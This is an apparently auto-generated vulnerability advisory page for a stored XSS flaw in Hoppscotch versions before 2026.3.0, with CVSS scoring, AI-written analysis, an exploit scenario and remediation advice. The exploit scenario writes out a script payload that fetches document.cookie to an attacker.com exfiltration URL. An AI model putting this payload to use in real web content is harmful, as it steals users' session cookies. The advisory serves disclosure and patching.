EUVD-2026-18540Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionGitHub Advisory
hoppscotch is an open source API development ecosystem. Prior to version 2026.3.0, there is a stored XSS vulnerability that can lead to CSRF. This issue has been patched in version 2026.3.0.
AnalysisAI
Stored cross-site scripting (XSS) in Hoppscotch versions prior to 2026.3.0 enables remote attackers to execute arbitrary JavaScript in victim browsers without authentication, potentially escalating to cross-site request forgery (CSRF) attacks against authenticated users. CVSS 8.5 (High) reflects network accessibility with low complexity but user interaction required. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Attacker must inject malicious payload into Hoppscotch (versions before 2026.3.0) that gets stored. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:A) indicates network-based exploitation with low complexity requiring no privileges but user interaction, yielding high confidentiality and integrity impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker registers on a shared Hoppscotch instance or gains access to a collaborative workspace. They create an API collection with a malicious payload in the collection description field, such as <script>fetch('https://attacker.com/exfil?cookie='+document.cookie)</script>. … |
| Remediation | Upgrade to Hoppscotch version 2026.3.0 or later, which includes patches addressing the stored XSS vulnerability. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Hoppscotch instances and document current versions in use. …
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